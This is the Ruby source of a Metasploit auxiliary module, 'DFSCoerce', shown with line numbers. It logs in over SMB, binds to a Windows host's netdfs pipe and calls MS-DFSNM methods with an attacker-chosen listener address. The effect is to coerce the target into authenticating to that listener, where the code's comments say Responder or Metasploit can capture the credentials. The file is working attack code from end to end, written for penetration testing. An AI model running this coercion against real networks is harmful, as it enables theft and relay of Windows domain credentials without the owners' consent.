1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'windows_error'
7
require 'ruby_smb'
8
require 'ruby_smb/error'
9

10
class MetasploitModule < Msf::Auxiliary
11
  include Msf::Exploit::Remote::DCERPC
12
  include Msf::Exploit::Remote::SMB::Client::Authenticated
13
  include Msf::Auxiliary::Scanner
14

15
  Dfsnm = RubySMB::Dcerpc::Dfsnm
16

17
  METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze
18

19
  def initialize
20
    super(
21
      'Name' => 'DFSCoerce',
22
      'Description' => %q{
23
        Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
24
      },
25
      'Author' => [
26
        'Wh04m1001',
27
        'xct_de',
28
        'Spencer McIntyre'
29
      ],
30
      'References' => [
31
        [ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ]
32
      ],
33
      'License' => MSF_LICENSE,
34
      'Notes' => {
35
        'Stability' => [CRASH_SAFE],
36
        'SideEffects' => [IOC_IN_LOGS],
37
        'Reliability' => []
38
      }
39
    )
40

41
    register_options(
42
      [
43
        OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
44
        OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
45
      ]
46
    )
47
  end
48

49
  def connect_dfsnm
50
    vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol')
51
    netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true)
52

53
    vprint_status('Binding to \\netdfs...')
54
    netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm)
55
    vprint_good('Bound to \\netdfs')
56

57
    netdfs
58
  end
59

60
  def run_host(_ip)
61
    begin
62
      connect
63
    rescue Rex::ConnectionError => e
64
      fail_with(Failure::Unreachable, e.message)
65
    end
66

67
    begin
68
      smb_login
69
    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
70
      fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
71
    end
72

73
    begin
74
      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
75
    rescue RubySMB::Error::RubySMBError => e
76
      fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
77
    end
78

79
    begin
80
      dfsnm = connect_dfsnm
81
    rescue RubySMB::Error::UnexpectedStatusCode => e
82
      if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
83
        fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
84
      end
85

86
      fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
87
    rescue RubySMB::Dcerpc::Error::FaultError => e
88
      elog(e.message, error: e)
89
      fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
90
    end
91

92
    begin
93
      case datastore['METHOD']
94
      when 'NetrDfsAddStdRoot'
95
        dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart)
96
      when 'NetrDfsRemoveStdRoot', 'Automatic'
97
        # use this technique by default, it's the original and doesn't require a comment
98
        dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share')
99
      end
100
    rescue RubySMB::Dcerpc::Error::DfsnmError => e
101
      case e.status_code
102
      when ::WindowsError::Win32::ERROR_ACCESS_DENIED
103
        # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
104
        print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
105
      when ::WindowsError::Win32::ERROR_BAD_NETPATH
106
        # this should be the response even if LISTENER was inaccessible
107
        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
108
      else
109
        print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
110
      end
111
    end
112
  end
113
end
114

115